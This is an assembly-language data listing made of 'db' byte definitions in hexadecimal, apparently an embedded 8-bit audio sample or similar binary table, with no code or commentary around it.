db 07Fh,0A8h,007h,0BDh,032h,04Dh,092h,087h,0D4h,08Dh,0FFh,070h,0D7h
|
||||
db 04Ch,06Bh,08Ch,01Ah,08Fh,078h,092h,087h,0CFh,0E8h,06Fh,0A0h,000h
|
||||
db 0A5h,01Ch,007h,069h,073h,0B0h,07Fh,0FFh,068h,0D1h,028h,067h,070h
|
||||
db 009h,09Bh,05Ch,0BFh,06Ch,0DFh,0A0h,09Fh,080h,01Bh,0A0h,020h,077h
|
||||
db 082h,08Bh,0A8h,0A7h,0F0h,077h,0C8h,011h,0BAh,044h,033h,0B0h,069h
|
||||
db 0B2h,08Eh,0FFh,068h,0DAh,018h,06Fh,060h,00Dh,0BAh,053h,0AFh,06Eh
|
||||
db 0D7h,0B0h,07Fh,080h,00Ah,0B2h,020h,055h,080h,05Dh,098h,09Bh,0C0h
|
||||
db 07Fh,094h,009h,0AFh,032h,05Bh,080h,05Ah,093h,093h,0FFh,071h,0DCh
|
||||
db 030h,07Fh,080h,01Fh,0BBh,074h,0F2h,079h,0E7h,074h,0DFh,050h,03Fh
|
||||
db 0A2h,02Ch,0B7h,070h,06Dh,072h,0AFh,0F0h,05Ah,0A2h,000h,095h,032h
|
||||
db 01Fh,094h,06Bh,0E0h,054h,0F6h,059h,0E3h,048h,05Fh,0A0h,033h,0BFh
|
||||
db 074h,073h,070h,0E7h,0A0h,06Bh,074h,000h,0A1h,024h,027h,065h,08Dh
|
||||
db 097h,0BBh,0FFh,06Ah,0E2h,04Ah,07Fh,084h,003h,087h,04Fh,0CDh,075h
|
||||
db 0E5h,0B8h,09Dh,0A8h,019h,0C2h,048h,047h,0A0h,05Ch,071h,077h,0FFh
|
||||
db 068h,06Bh,074h,00Fh,0BBh,010h,077h,048h,087h,0A4h,087h,0FCh,07Dh
|
||||
db 0F0h,040h,0C7h,082h,047h,0B8h,04Ah,099h,05Eh,0DBh,082h,087h,058h
|
||||
db 000h,098h,020h,06Fh,072h,06Fh,0A8h,083h,0FFh,059h,0E5h,052h,067h
|
||||
db 0AAh,028h,0B9h,03Fh,0C6h,05Ch,0AFh,0C0h,087h,0A0h,00Eh,0BBh,04Ah
|
||||
db 08Fh,080h,03Fh,078h,064h,0FFh,068h,093h,068h,01Fh,0B6h,020h,092h
|
||||
db 04Bh,0B7h,08Ah,095h,0D8h,08Bh,0C0h,021h,0C7h,06Ah,07Fh,09Ch,067h
|
||||
db 085h,04Eh,0FFh,070h,09Fh,050h,000h,0ADh,021h,08Fh,058h,0BFh,084h
|
||||
db 075h,0E0h,06Fh,0D0h,014h,0ABh,074h,077h,0B8h,046h,096h,056h,0EFh
|
||||
db 098h,07Fh,098h,000h,0A3h,038h,05Fh,070h,06Fh,0A4h,04Bh,0E4h,054h
|
||||
db 0D9h,040h,06Fh,098h,05Dh,0C2h,051h,095h,054h,095h,0DCh,06Fh,0B8h
|
||||
db 000h,06Fh,068h,03Fh,0A0h,057h,0E0h,049h,0DDh,084h,0C7h,074h,025h
|
||||
db 0D8h,05Bh,0E6h,04Ch,08Fh,068h,03Fh,0E8h,04Ah,0CFh,032h,033h,0A0h
|
||||
db 039h,0C2h,040h,0D7h,05Ch,09Bh,0A0h,087h,098h,029h,0D5h,070h,09Fh
|
||||
db 082h,07Bh,084h,03Dh,0D5h,068h,0BDh,02Ch,01Bh,0A8h,040h,0BDh,054h
|
||||
db 0B3h,062h,04Fh,0D6h,064h,0D4h,039h,05Fh,098h,06Fh,0C8h,03Ah,0B1h
|
||||
db 04Eh,06Fh,0A4h,07Fh,0AAh,011h,097h,06Ah,09Bh,094h,049h,0C0h,045h
|
||||
db 0AFh,080h,09Dh,098h,022h,0BFh,062h,0BDh,065h,047h,0B0h,040h,0BFh
|
||||
db 070h,0ADh,070h,01Dh,0C9h,067h,089h,06Ch,07Fh,0D0h,060h,0BFh,072h
|
||||
db 09Bh,080h,000h,08Dh,052h,0ABh,064h,055h,0DAh,078h,0CBh,0A8h,0AFh
|
||||
db 080h,016h,09Fh,062h,0AFh,04Ch,03Dh,0C0h,062h,05Fh,0C8h,05Bh,0CEh
|
||||
db 024h,01Bh,084h,06Bh,08Ch,060h,0BFh,0A4h,09Dh,0FFh,060h,0BCh,01Ah
|
||||
db 000h,0B0h,066h,0CCh,054h,073h,0D8h,085h,09Bh,0C8h,055h,0C2h,020h
|
||||
db 001h,072h,056h,069h,07Ch,0AAh,0A8h,07Bh,0AFh,080h,087h,090h,018h
|
||||
db 065h,071h,065h,0C2h,095h,0DAh,0B1h,09Ch,0C5h,08Ah,07Bh,080h,03Dh
|
||||
db 044h,051h,05Fh,06Ah,075h,089h,07Eh,082h,083h,080h,06Eh,064h,062h
|
||||
db 066h,075h,083h,08Bh,0A2h,0A6h,0A9h,0BAh,08Bh,091h,076h,07Bh,07Eh
|
||||
db 069h,07Bh,064h,06Dh,080h,075h,079h,06Ah,077h,07Ah,071h,078h,06Fh
|
||||
db 082h,07Ah,083h,090h,088h,07Ch,07Dh,088h,085h,089h,08Ah,085h,083h
|
||||
db 091h,086h,089h,085h,079h,07Fh,07Bh,083h,07Eh,077h,078h,083h,07Fh
|
||||
db 082h,08Bh,076h,079h,075h,07Fh,090h,074h,079h,075h,077h,072h,085h
|
||||
db 084h,076h,07Eh,074h,07Dh,07Eh,07Ah,080h,080h,07Fh,077h,07Eh,07Ah
|
||||
db 080h,080h,07Fh,088h,07Ch,084h,07Fh,07Fh,080h,081h,07Eh,079h,08Ah
|
||||
db 087h,086h,083h,08Dh,086h,07Ch,08Ch,07Ah,07Bh,073h,087h,098h,082h
|
||||
db 083h,07Dh,083h,07Ch,075h,083h,06Dh,077h,073h,085h,085h,072h,07Ch
|
||||
db 077h,082h,07Ah,07Ch,075h,06Bh,06Ch,073h,082h,073h,075h,07Eh,074h
|
||||
db 081h,087h,08Dh,088h,080h,075h,07Fh,08Dh,083h,097h,084h,081h,083h
|
||||
db 085h,080h,078h,07Dh,078h,07Fh,082h,087h,08Ch,078h,082h,081h,086h
|
||||
db 082h,07Dh,081h,07Bh,074h,078h,084h,078h,084h,080h,07Eh,079h,075h
|
||||
db 079h,072h,081h,07Dh,08Bh,07Eh,07Bh,086h,082h,086h,07Fh,07Eh,077h
|
||||
db 076h,084h,07Eh,080h,074h,077h,07Fh,090h,08Ch,085h,07Ah,062h,06Ah
|
||||
db 080h,08Ch,08Dh,07Eh,072h,07Bh,082h,089h,095h,08Ah,06Fh,07Ah,083h
|
||||
db 082h,083h,07Bh,077h,07Ah,079h,082h,07Dh,06Eh,077h,06Eh,082h,07Eh
|
||||
db 088h,07Dh,07Fh,078h,071h,081h,075h,07Ch,086h,07Fh,086h,07Eh,085h
|
||||
db 081h,086h,087h,08Dh,08Ah,076h,07Ah,07Ah,086h,085h,08Ah,086h,085h
|
||||
db 07Dh,077h,078h,06Eh,07Fh,07Ah,07Dh,07Eh,074h,083h,079h,088h,07Ah
|
||||
db 084h,078h,073h,081h,079h,086h,083h,081h,07Fh,082h,094h,080h,080h
|
||||
db 06Eh,069h,07Ch,078h,07Eh,07Bh,07Ch,072h,086h,090h,086h,07Dh,079h
|
||||
db 07Eh,084h,08Bh,07Eh,080h,080h,072h,090h,088h,07Ch,079h,076h,07Bh
|
||||
db 07Fh,086h,07Ah,081h,07Dh,07Dh,08Ah,07Ah,080h,070h,075h,07Eh,079h
|
||||
db 085h,073h,076h,075h,087h,087h,088h,084h,07Ch,07Ah,076h,077h,07Bh
|
||||
db 079h,083h,07Bh,081h,07Dh,07Ch,07Fh,080h,081h,07Fh,08Ah,082h,082h
|
||||
db 08Ch,082h,086h,086h,08Ah,083h,080h,071h,073h,07Fh,077h,084h,087h
|
||||
db 081h,07Bh,07Fh,07Fh,087h,086h,079h,083h,077h,087h,07Ch,07Ch,07Ch
|
||||
db 075h,082h,071h,076h,07Ch,076h,079h,079h,082h,070h,080h,07Ah,081h
|
||||
db 087h,084h,07Ah,070h,07Dh,06Fh,082h,084h,07Eh,081h,07Bh,07Dh,07Fh
|
||||
db 08Fh,07Dh,07Ch,084h,07Eh,07Bh,086h,088h,07Eh,08Fh,089h,075h,08Ah
|
||||
db 07Dh,079h,07Dh,080h,079h,07Fh,086h,077h,078h,07Dh,06Eh,08Dh,07Fh
|
||||
db 074h,076h,07Eh,078h,078h,08Dh,079h,07Eh,082h,07Eh,080h,087h,079h
|
||||
db 076h,082h,074h,07Eh,081h,06Eh,074h,081h,082h,081h,092h,07Bh,07Fh
|
||||
db 08Fh,08Ah,08Bh,07Ch,070h,074h,08Fh,07Eh,084h,084h,06Fh,075h,07Ah
|
||||
db 08Eh,07Bh,07Ch,078h,078h,083h,086h,08Eh,07Eh,082h,070h,07Dh,08Dh
|
||||
db 078h,07Bh,06Fh,077h,076h,087h,085h,074h,079h,077h,07Dh,085h,084h
|
||||
db 06Bh,07Eh,07Eh,077h,086h,088h,079h,07Dh,091h,07Bh,081h,09Bh,073h
|
||||
db 080h,07Bh,07Bh,090h,084h,070h,07Bh,08Ah,078h,07Fh,081h,071h,07Fh
|
||||
db 082h,080h,074h,081h,07Bh,06Dh,07Fh,070h,078h,089h,07Ch,077h,089h
|
||||
db 08Ah,07Fh,086h,07Eh,072h,081h,073h,068h,07Fh,082h,073h,085h,08Ah
|
||||
db 086h,09Eh,093h,07Bh,081h,086h,069h,07Dh,086h,06Ch,07Fh,088h,088h
|
||||
db 08Fh,09Ch,08Ch,079h,086h,074h,067h,06Dh,064h,069h,077h,07Fh,084h
|
||||
db 09Fh,085h,08Dh,09Bh,074h,071h,06Ch,05Dh,062h,07Dh,06Dh,073h,086h
|
||||
db 090h,091h,097h,092h,07Ah,079h,07Ch,061h,06Dh,076h,073h,070h,088h
|
||||
db 090h,094h,09Bh,09Bh,094h,078h,077h,078h,060h,05Dh,069h,07Bh,087h
|
||||
db 090h,09Fh,09Dh,09Fh,0A1h,080h,076h,068h,053h,04Bh,066h,072h,072h
|
||||
db 086h,099h,097h,0A2h,0ADh,082h,06Ah,064h,05Ah,053h,061h,06Ah,067h
|
||||
db 08Ah,0ABh,0ADh,0ACh,09Bh,0A5h,060h,067h,066h,059h,056h,06Fh,093h
|
||||
db 08Fh,0BFh,0A8h,08Eh,0AFh,0AAh,044h,04Fh,070h,041h,057h,08Dh,084h
|
||||
db 07Dh,0D1h,094h,07Eh,0BEh,088h,02Dh,06Ah,070h,038h,07Bh,0ABh,063h
|
||||
db 0AFh,0A0h,068h,075h,0CDh,064h,013h,087h,068h,02Fh,0ABh,0B4h,037h
|
||||
db 097h,0E0h,050h,097h,0F8h,022h,063h,0D4h,02Ah,07Dh,0E6h,038h,02Fh
|
||||
db 0F9h,080h,047h,0E7h,0DAh,010h,07Fh,084h,034h,0B7h,0B0h,01Dh,035h
|
||||
db 0D7h,0C0h,04Fh,0A1h,0B2h,002h,06Fh,0DEh,014h,087h,040h,001h,077h
|
||||
db 0FFh,0A0h,032h,0BDh,0E2h,05Bh,0D7h,0C0h,000h,095h,02Ah,000h,0A7h
|
||||
db 0C8h,02Ch,057h,0AEh,0C4h,09Fh,0E2h,030h,03Bh,0DCh,04Ah,02Fh,0FCh
|
||||
db 084h,03Ah,0A5h,0D3h,094h,0BBh,0D8h,020h,07Fh,0A0h,018h,033h,0FFh
|
||||
db 06Ch,009h,0A7h,0E2h,03Ah,0AFh,08Ah,000h,087h,068h,020h,09Fh,0D0h
|
||||
db 040h,05Bh,0FFh,088h,03Fh,0D5h,01Ch,027h,0A0h,036h,04Fh,0FFh,0A8h
|
||||
db 042h,0EFh,0D0h,05Eh,0F3h,0A0h,000h,05Bh,045h,03Dh,0F5h,0B4h,01Eh
|
||||
db 057h,0FFh,060h,087h,0DCh,000h,007h,084h,04Ch,07Dh,0FFh,071h,02Dh
|
||||
db 0FFh,0C4h,037h,0CFh,064h,000h,06Fh,038h,03Dh,0FFh,0C0h,034h,09Bh
|
||||
db 0FFh,054h,0A3h,0C2h,000h,05Fh,050h,01Ah,09Fh,0FFh,050h,03Fh,0FFh
|
||||
db 08Ch,073h,0F7h,034h,000h,07Ah,048h,073h,0FFh,080h,029h,0EFh,0D8h
|
||||
db 02Eh,0ABh,068h,000h,08Dh,036h,028h,0F3h,0D8h,044h,08Fh,0FFh,04Ah
|
||||
db 0AFh,0DAh,000h,02Bh,030h,03Fh,0D3h,0E8h,05Ah,07Fh,0FFh,068h,097h
|
||||
db 0E2h,000h,00Bh,021h,03Fh,0A7h,0FFh,06Ch,063h,0FFh,078h,073h,0DFh
|
||||
db 050h,000h,000h,04Dh,09Fh,0FFh,082h,033h,0E7h,0C0h,059h,0AFh,098h
|
||||
db 000h,02Bh,03Fh,062h,0F1h,0A6h,073h,0DFh,0FFh,040h,08Bh,0D0h,000h
|
||||
db 000h,017h,05Fh,0FDh,0FFh,058h,08Fh,0FFh,06Dh,0B7h,0ECh,008h,000h
|
||||
db 027h,07Bh,0C6h,0D2h,075h,097h,0FFh,060h,076h,0C8h,018h,000h,000h
|
||||
db 065h,0AFh,0FFh,096h,073h,0FFh,088h,07Fh,0DAh,040h,000h,000h,07Bh
|
||||
db 09Fh,0E0h,082h,069h,0FFh,0D4h,05Fh,066h,080h,000h,027h,049h,062h
|
||||
db 09Dh,0AAh,099h,0FFh,0F8h,038h,096h,0D4h,000h,000h,027h,077h,0FFh
|
||||
db 0FCh,068h,09Fh,0FFh,065h,0AFh,0D8h,000h,000h,02Fh,09Ah,07Fh,088h
|
||||
db 06Dh,0CFh,0FFh,062h,06Dh,0B1h,028h,000h,019h,065h,0BFh,0F4h,062h
|
||||
db 08Bh,0FFh,084h,077h,0EBh,054h,000h,000h,05Dh,0AFh,0FFh,08Ah,057h
|
||||
db 0FFh,068h,069h,0ABh,084h,000h,000h,065h,099h,0FFh,09Ch,05Bh,0EFh
|
||||
db 0E4h,09Dh,093h,09Ah,000h,000h,07Fh,093h,08Eh,089h,06Ch,0E5h,0FFh
|
||||
db 05Dh,074h,0CFh,038h,000h,023h,079h,09Bh,0DEh,091h,0AFh,0FFh,05Ch
|
||||
db 073h,0A7h,084h,000h,000h,046h,09Fh,0FFh,080h,053h,0DFh,0E4h,077h
|
||||
db 08Ah,0B8h,000h,000h,06Bh,089h,0A4h,084h,085h,0BFh,0FFh,050h,02Bh
|
||||
db 0C7h,068h,000h,00Fh,055h,0B5h,0FFh,0D0h,014h,0CFh,084h,059h,0DDh
|
||||
db 0C0h,000h,000h,08Fh,0B6h,0CBh,09Ah,050h,0D7h,0FFh,026h,055h,0A2h
|
||||
db 008h,000h,03Bh,06Ch,08Ah,0D3h,094h,083h,0FFh,082h,091h,0E7h,060h
|
||||
db 000h,00Ch,095h,082h,09Ch,0B3h,07Ah,0E7h,0FEh,028h,059h,0D7h,058h
|
||||
db 000h,001h,03Fh,0BFh,0FFh,078h,063h,0FFh,086h,0B3h,0FFh,040h,000h
|
||||
db 000h,06Dh,08Fh,0D9h,0A1h,060h,0B3h,0D2h,0C7h,074h,048h,000h,045h
|
||||
db 04Bh,03Bh,097h,0B8h,0A2h,0D3h,0FFh,064h,071h,0CEh,004h,00Bh,01Bh
|
||||
db 052h,07Bh,0C1h,0F6h,0A4h,0C5h,0C0h,065h,072h,0C6h,000h,000h,00Ah
|
||||
db 03Fh,0DFh,0FFh,058h,06Bh,0FAh,044h,0A7h,0FFh,028h,000h,03Bh,0BDh
|
||||
db 0FAh,0FFh,088h,07Bh,0FFh,058h,062h,057h,060h,000h,000h,043h,08Bh
|
||||
db 0FFh,098h,06Ah,0E7h,0D0h,062h,08Ah,0B0h,000h,005h,05Fh,0B5h,0B2h
|
||||
db 0A4h,072h,0D7h,0FFh,038h,087h,088h,01Ch,027h,053h,06Ah,09Dh,0FFh
|
||||
db 070h,075h,0FDh,048h,063h,0C5h,080h,000h,015h,06Bh,0B7h,0FFh,084h
|
||||
db 048h,0A7h,0E0h,061h,0B3h,088h,000h,031h,03Eh,062h,09Bh,0ECh,058h
|
||||
db 05Bh,0FFh,054h,06Bh,0B5h,0A0h,000h,000h,061h,091h,0FFh,090h,043h
|
||||
db 0EFh,0B8h,09Ah,09Fh,0A8h,000h,027h,031h,05Bh,09Ch,0BAh,0B0h,0BFh
|
||||
db 0F5h,04Ah,07Fh,0E5h,042h,000h,000h,056h,0BBh,0FFh,090h,03Fh,0FFh
|
||||
db 090h,0BFh,0D7h,094h,000h,000h,05Fh,08Eh,0FFh,080h,04Eh,0A5h,0D8h
|
||||
db 07Fh,064h,094h,000h,000h,03Bh,088h,074h,068h,0BFh,0FBh,0FFh,04Ah
|
||||
db 05Fh,0A5h,092h,015h,000h,01Fh,07Bh,0FFh,0FFh,052h,0DFh,050h,09Fh
|
||||
db 0D3h,0C0h,000h,000h,053h,08Dh,0FFh,098h,036h,087h,0D4h,08Bh,06Dh
|
||||
db 0B4h,000h,000h,035h,07Dh,0CBh,0F8h,0BAh,074h,0FFh,078h,075h,09Ah
|
||||
db 050h,000h,000h,0AEh,082h,073h,0A6h,0B0h,0FFh,0C8h,03Bh,052h,099h
|
||||
db 032h,000h,023h,044h,07Fh,0FFh,0FFh,058h,087h,046h,07Bh,0F3h,0CAh
|
||||
db 000h,000h,05Fh,0CAh,0FFh,0FEh,024h,077h,0B8h,039h,076h,0B4h,00Eh
|
||||
db 000h,02Bh,08Eh,0ABh,0FFh,070h,063h,0FFh,080h,09Ch,0BBh,054h,000h
|
||||
db 00Fh,06Ah,0A5h,0D6h,09Ah,099h,0DDh,0D4h,056h,067h,094h,000h,000h
|
||||
db 01Dh,066h,0BBh,0FFh,070h,067h,0D0h,06Fh,096h,0DEh,048h,000h,036h
|
||||
db 06Fh,09Ah,0FFh,070h,027h,0C9h,056h,06Ch,08Fh,084h,000h,023h,057h
|
||||
db 086h,0FFh,0F4h,080h,04Fh,0F5h,06Eh,082h,0C9h,020h,000h,003h,05Bh
|
||||
db 099h,0FFh,0C0h,03Ch,0EBh,080h,08Fh,09Dh,0A8h,006h,00Eh,056h,077h
|
||||
db 0DFh,0FFh,060h,07Fh,0B0h,06Eh,062h,0CEh,01Ah,017h,047h,05Dh,085h
|
||||
db 0FFh,0FFh,040h,097h,05Ah,05Eh,06Fh,0B4h,000h,037h,050h,07Fh,0ABh
|
||||
db 0FFh,0D8h,000h,0A7h,040h,047h,07Fh,08Ch,01Ch,023h,06Dh,080h,0C7h
|
||||
db 0FFh,080h,019h,0D2h,030h,056h,09Fh,070h,018h,02Dh,086h,0A8h,0FFh
|
||||
db 0FFh,070h,08Fh,0A0h,03Ch,018h,09Fh,070h,00Ah,053h,095h,099h,0FFh
|
||||
db 0FFh,044h,08Bh,088h,02Dh,00Fh,0ADh,044h,006h,067h,0A2h,085h,0EBh
|
||||
db 0FFh,030h,04Fh,094h,013h,000h,0BBh,035h,037h,083h,08Ch,093h,0FFh
|
||||
db 0FFh,040h,06Dh,0A8h,023h,027h,0AFh,034h,047h,072h,092h,07Fh,0EBh
|
||||
db 0FFh,054h,04Bh,0C0h,039h,044h,09Dh,054h,055h,075h,0C6h,084h,096h
|
||||
db 0FFh,0A0h,033h,0BFh,04Ch,02Ch,056h,08Ah,055h,087h,0B3h,062h,051h
|
||||
db 0C7h,0DCh,02Eh,08Fh,094h,020h,02Ah,07Dh,06Eh,0BDh,0ACh,06Ch,04Ch
|
||||
db 0A3h,0FFh,080h,03Eh,0B3h,030h,02Ah,04Dh,08Eh,04Dh,095h,0A3h,06Ch
|
||||
db 057h,0AFh,0FFh,060h,05Bh,0D5h,032h,04Fh,06Fh,064h,05Eh,0CDh,0A0h
|
||||
db 03Ah,06Fh,0CDh,0C0h,04Ah,082h,0DBh,02Ch,06Dh,04Bh,04Eh,087h,0B8h
|
||||
db 06Bh,058h,07Fh,09Eh,0CCh,072h,073h,0D5h,030h,06Fh,067h,048h,05Bh
|
||||
db 0BAh,09Ch,058h,07Dh,099h,0D4h,094h,06Ch,0C3h,04Ch,079h,03Eh,025h
|
||||
db 06Bh,0D4h,078h,072h,07Bh,07Ah,0BBh,0C1h,04Ah,08Bh,088h,02Bh,058h
|
||||
db 034h,046h,0DDh,09Ah,080h,072h,06Ch,08Fh,0FFh,070h,013h,0B1h,030h
|
||||
db 086h,055h,05Fh,0C7h,0B4h,082h,075h,087h,08Dh,0FFh,078h,000h,0A7h
|
||||
db 058h,07Bh,070h,03Ah,05Bh,0BCh,08Eh,0A8h,0ACh,034h,08Fh,0D8h,028h
|
||||
db 05Bh,0E0h,028h,07Fh,059h,029h,0ABh,0CCh,064h,06Bh,080h,049h,0AFh
|
||||
db 0D0h,023h,07Fh,0B0h,00Eh,089h,061h,02Fh,0B7h,0B2h,070h,092h,088h
|
||||
db 06Fh,0EFh,090h,023h,09Bh,0B4h,035h,08Ch,03Dh,03Fh,0D3h,094h,08Bh
|
||||
db 0C7h,060h,03Bh,0B9h,082h,069h,0CFh,0A0h,027h,084h,02Ah,04Bh,0EFh
|
||||
db 08Ch,07Eh,08Ch,050h,05Fh,0E3h,079h,04Fh,0AFh,078h,01Bh,081h,02Ch
|
||||
db 03Dh,0D3h,078h,077h,0B3h,066h,055h,0BFh,082h,069h,0B2h,0A8h,025h
|
||||
db 08Ah,035h,043h,0D3h,09Ch,07Bh,09Bh,05Ah,03Dh,0AFh,0C6h,07Fh,077h
|
||||
db 07Fh,062h,06Ah,096h,05Dh,073h,0AAh,06Ah,08Ch,08Ah,054h,04Fh,08Eh
|
||||
db 0AAh,07Bh,06Fh,09Ch,070h,05Dh,084h,056h,07Fh,0C5h,085h,073h,060h
|
||||
db 05Ah,071h,0C3h,0A8h,050h,056h,064h,071h,087h,0ACh,04Bh,071h,088h
|
||||
db 074h,0A4h,08Bh,085h,069h,072h,0A9h,090h,067h,07Ch,0A8h,038h,07Fh
|
||||
db 088h,05Bh,07Fh,0A5h,06Ah,073h,0B9h,05Bh,056h,0B2h,05Ah,042h,0A2h
|
||||
db 0CCh,044h,037h,079h,055h,073h,0E2h,0A5h,06Bh,091h,062h,056h,0B7h
|
||||
db 0ACh,051h,05Fh,0A1h,090h,02Eh,0A3h,07Eh,045h,09Fh,0A2h,07Ch,095h
|
||||
db 08Ah,070h,067h,0AEh,074h,055h,0A7h,0DBh,018h,033h,066h,06Ch,07Bh
|
||||
db 0C3h,090h,049h,07Dh,093h,076h,0B3h,0B0h,041h,046h,0A3h,08Dh,02Ah
|
||||
db 08Fh,075h,046h,087h,0B2h,07Bh,07Eh,091h,06Eh,071h,09Fh,08Ah,069h
|
||||
db 070h,092h,08Ah,04Fh,096h,090h,056h,07Dh,090h,084h,07Dh,0A1h,086h
|
||||
db 066h,084h,08Bh,073h,081h,080h,084h,072h,089h,082h,06Bh,06Eh,07Fh
|
||||
db 080h,077h,079h,095h,091h,059h,059h,081h,070h,069h,08Bh,08Eh,088h
|
||||
db 059h,07Ch,06Dh,097h,083h,06Eh,07Fh,087h,093h,087h,078h,05Ch,078h
|
||||
db 098h,07Eh,077h,08Fh,097h,062h,067h,080h,066h,07Eh,0A1h,07Ah,07Dh
|
||||
db 089h,095h,078h,055h,073h,092h,08Ch,077h,07Dh,096h,092h,04Ah,05Fh
|
||||
db 06Eh,087h,092h,08Ch,082h,085h,092h,078h,058h,06Ch,092h,073h,073h
|
||||
db 086h,08Eh,07Fh,05Eh,04Ah,06Ch,073h,092h,0A0h,07Eh,090h,097h,08Bh
|
||||
db 073h,070h,078h,089h,089h,075h,079h,08Fh,08Eh,07Ah,040h,05Fh,07Ch
|
||||
db 086h,085h,0A2h,0A9h,084h,07Fh,075h,05Ch,073h,09Ch,076h,061h,07Fh
|
||||
db 079h,075h,092h,082h,031h,069h,086h,076h,09Fh,0B1h,07Eh,073h,092h
|
||||
db 06Bh,067h,097h,087h,074h,078h,07Ah,085h,099h,065h,067h,088h,054h
|
||||
db 069h,085h,084h,087h,0A3h,08Ch,078h,09Fh,086h,053h,067h,07Ch,068h
|
||||
db 075h,092h,078h,072h,07Ch,062h,07Dh,0AFh,090h,06Bh,07Ch,06Eh,068h
|
||||
db 08Fh,0A0h,078h,06Ah,072h,075h,08Dh,08Ch,07Eh,089h,072h,054h,072h
|
||||
db 08Bh,089h,07Fh,072h,06Bh,08Ah,0A2h,089h,08Fh,085h,066h,071h,093h
|
||||
db 088h,074h,078h,06Dh,070h,08Ah,088h,089h,08Dh,072h,06Bh,080h,078h
|
||||
db 079h,070h,069h,06Ch,07Ch,08Bh,082h,08Bh,078h,06Ah,087h,081h,07Eh
|
||||
db 08Eh,070h,05Fh,079h,085h,07Fh,087h,07Ah,05Fh,08Ah,0A4h,076h,079h
|
||||
db 080h,06Ah,069h,075h,07Eh,093h,0A5h,081h,072h,088h,088h,085h,090h
|
||||
db 078h,060h,071h,07Bh,07Fh,084h,07Ah,068h,07Ah,08Ch,07Fh,07Ah,070h
|
||||
db 068h,076h,07Ch,077h,093h,0A2h,080h,086h,07Dh,07Bh,083h,08Eh,068h
|
||||
db 064h,074h,06Eh,077h,097h,074h,068h,080h,080h,071h,08Bh,07Ch,059h
|
||||
db 079h,08Ah,074h,099h,09Ch,066h,07Fh,0A6h,07Fh,08Fh,0A0h,056h,06Dh
|
||||
db 0A2h,06Ch,07Dh,09Dh,060h,05Fh,098h,072h,063h,097h,088h,048h,07Dh
|
||||
db 085h,069h,0A3h,088h,04Eh,063h,09Fh,091h,077h,08Ch,074h,042h,085h
|
||||
db 09Ch,06Ch,095h,066h,051h,08Fh,0CFh,07Ah,073h,09Ah,080h,065h,097h
|
||||
db 080h,05Ah,081h,04Ch,04Ah,09Eh,09Ch,074h,07Fh,083h,086h,097h,09Ah
|
||||
db 069h,07Fh,08Ch,060h,06Fh,0A0h,077h,06Eh,08Ch,08Eh,07Dh,083h,083h
|
||||
db 064h,07Ah,074h,05Eh,079h,09Fh,07Ah,063h,083h,092h,069h,091h,088h
|
||||
db 052h,075h,070h,069h,08Fh,0A0h,06Bh,074h,0ABh,08Eh,062h,08Dh,066h
|
||||
db 063h,08Ah,071h,07Bh,0BBh,098h,068h,087h,0A4h,077h,097h,08Ch,044h
|
||||
db 056h,069h,071h,0A7h,094h,05Dh,05Eh,0A4h,07Ch,077h,08Eh,05Ch,04Dh
|
||||
db 07Eh,074h,07Bh,0ACh,078h,059h,0A3h,0A4h,060h,082h,084h,049h,075h
|
||||
db 081h,07Eh,0ADh,0A5h,071h,07Fh,0BAh,074h,071h,084h,04Ah,05Bh,073h
|
||||
db 071h,087h,0ADh,07Ch,062h,0ADh,093h,073h,097h,06Ah,03Fh,070h,077h
|
||||
db 07Bh,0B5h,088h,058h,08Bh,0A8h,061h,079h,080h,045h,06Eh,075h,071h
|
||||
db 09Bh,0B2h,072h,06Bh,0B0h,080h,078h,096h,061h,042h,05Fh,073h,08Dh
|
||||
db 0B4h,088h,068h,0A3h,096h,06Fh,08Dh,07Ch,04Ah,05Eh,06Ch,07Fh,0BBh
|
||||
db 0A0h,070h,08Fh,0B0h,07Eh,07Fh,08Ah,040h,030h,063h,086h,0AFh,0ACh
|
||||
db 066h,063h,0B3h,080h,07Ch,07Eh,04Ch,03Fh,059h,079h,096h,09Bh,084h
|
||||
db 077h,0ADh,090h,071h,085h,080h,03Eh,041h,073h,093h,0D3h,0B2h,076h
|
||||
db 091h,09Ah,083h,0A3h,090h,040h,038h,05Bh,08Ah,0A7h,088h,071h,086h
|
||||
db 090h,06Bh,07Eh,083h,052h,043h,057h,08Bh,0BBh,0C0h,080h,07Fh,0AAh
|
||||
db 068h,07Bh,094h,050h,030h,048h,076h,09Dh,0A6h,07Dh,072h,0A7h,07Ah
|
||||
db 069h,07Ah,07Dh,054h,065h,06Ch,085h,0A9h,0AAh,095h,0B2h,09Ch,059h
|
||||
db 089h,0A1h,04Ch,049h,060h,07Eh,0C3h,0C0h,080h,083h,0A9h,067h,07Bh
|
||||
db 08Dh,060h,03Ch,05Ah,085h,081h,07Eh,079h,08Dh,0B3h,060h,05Bh,07Bh
|
||||
db 064h,03Dh,053h,06Ch,093h,0B5h,090h,08Ah,0BBh,07Ah,06Fh,08Fh,076h
|
||||
db 046h,05Fh,070h,087h,0B3h,08Ch,07Ch,0AEh,078h,059h,085h,07Eh,048h
|
||||
db 050h,07Bh,09Dh,0C1h,0A1h,08Fh,09Fh,098h,073h,085h,07Ch,048h,055h
|
||||
db 07Ah,083h,083h,08Bh,08Bh,0A0h,0A8h,068h,06Fh,087h,05Eh,04Ah,061h
|
||||
db 083h,095h,0A1h,090h,08Fh,0A8h,068h,067h,07Fh,062h,03Ah,056h,06Eh
|
||||
db 097h,0B3h,087h,076h,09Fh,096h,06Ah,083h,080h,043h,056h,07Eh,088h
|
||||
db 087h,08Fh,090h,0ADh,0B4h,060h,066h,08Dh,06Dh,044h,05Ch,075h,096h
|
||||
db 0CAh,08Ch,063h,098h,071h,079h,087h,078h,044h,04Bh,083h,097h,09Bh
|
||||
db 08Ah,07Ch,09Eh,0ACh,061h,05Fh,07Fh,062h,04Ah,067h,08Ah,095h,0BBh
|
||||
db 098h,08Ch,0BDh,084h,085h,091h,06Ch,045h,059h,085h,08Bh,095h,08Bh
|
||||
db 083h,0A4h,08Ch,04Dh,06Ah,08Bh,060h,048h,05Eh,07Fh,0ADh,0CCh,07Ch
|
||||
db 068h,09Ch,064h,083h,089h,054h,036h,04Fh,07Dh,096h,0AFh,088h,072h
|
||||
db 086h,0A0h,08Bh,074h,05Bh,04Dh,073h,078h,087h,09Eh,09Dh,092h,0A5h
|
||||
db 0BCh,076h,07Bh,085h,059h,055h,06Ch,081h,093h,0A7h,0A1h,07Bh,07Ch
|
||||
db 084h,06Dh,07Ch,07Bh,042h,039h,057h,07Dh,0C5h,0ACh,05Ah,071h,092h
|
||||
db 06Ah,08Ah,09Fh,061h,046h,06Eh,099h,0BBh,0ABh,076h,073h,0A4h,068h
|
||||
